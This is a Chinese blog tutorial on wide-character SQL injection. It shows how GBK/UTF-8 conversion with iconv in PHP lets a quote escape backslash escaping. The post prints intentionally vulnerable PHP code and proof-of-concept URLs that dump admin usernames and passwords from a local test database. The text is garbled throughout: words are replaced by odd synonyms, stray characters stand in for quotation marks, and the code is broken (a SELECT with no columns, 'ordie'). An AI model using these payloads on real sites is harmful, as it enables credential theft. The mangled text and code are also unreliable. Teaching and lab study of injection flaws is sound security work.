工具:notepad++
做事器环境:wamp
测试代码和sql:http://pan.baidu.com/s/1o8gXMTc密码: (后台回答代码艺术4)

0x03 全局防护Bypass下篇的脑图
0x04 宽字符注入
字符编码的转换函数像iconv的利用会涌现这类注入问题,分gbk转utf-8和utf-8转gbk两种情形。
1.GBK转UTF-8
毛病代码:
<?phprequire_once('common.php');$conn = mysql_connect('localhost', 'root', 'braid') ordie('bad!');mysql_query(\"大众SET NAMES binary'\"大众);mysql_select_db('test', $conn) OR emMsg(\"大众数据库连接失落败\"大众);$title_tmp = isset($_GET['title']) ? urldecode($_GET['title']) : 'news title';//这里对title进行了gbk到utf-8的转换$title = iconv(\公众gbk\公众,\"大众utf-8\"大众,$title_tmp);$sql = \公众SELECT FROM news WHERE title = '{$title}'\公众;echo$sql;$result = mysql_query($sql, $conn) ordie(mysql_error);?>
浏览器输入”http://localhost/sqltest/kuanzifu1.php?title=%df‘union select 1,2,concat(name,0x23,pass) from admin%23
“,创造获取了管理员账户密码如下图:
事理实在跟序言里第2条是一样的,我们输入%df%27时首先经由上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),然后%df%5c恰好属于gbk的汉字编码范围,经由iconv转换到utf-8编码转换后变成了汉字“運”,从而吞掉了反斜杠使得单引号逃脱出来。
2.UTF-8转GBK
毛病代码:
<?phprequire_once('common.php');$conn = mysql_connect('localhost', 'root', 'braid') ordie('bad!');mysql_query(\"大众SET NAMES binary'\"大众);mysql_select_db('test', $conn) OR emMsg(\"大众数据库连接失落败\"大众);$title_tmp = isset($_GET['title']) ? urldecode($_GET['title']) : 'news title';$title = iconv(\公众utf-8\"大众,\"大众gbk\"大众,$title_tmp);$sql = \"大众SELECT FROM news WHERE title = '{$title}'\公众;echo$sql;$result = mysql_query($sql, $conn) ordie(mysql_error);?>
这里我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是e55c,而上面提到过反斜杠\恰好为5c。
以是如果我们将title设置为:錦’,首先经由addlashes函数或GPC对单引号转义变为:錦\’,然后会经由icnov函数会对”錦”转化为gbk编码,末了便是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从而单引号逃逸出来就会引发注入漏洞。
直接获取管理员账户密码的POC如下:
http://localhost/sqltest/kuanzifu2.php?title=錦‘ union select1,2,concat(name,0x23,pass) from admin%23
本系列有15篇,下一季我们连续,感激您的阅读,分享转发便是最好的支持,您说呢?
301强烈推举内容,想必您会喜好:
长按二维码,关注301在路上。
微信:2036234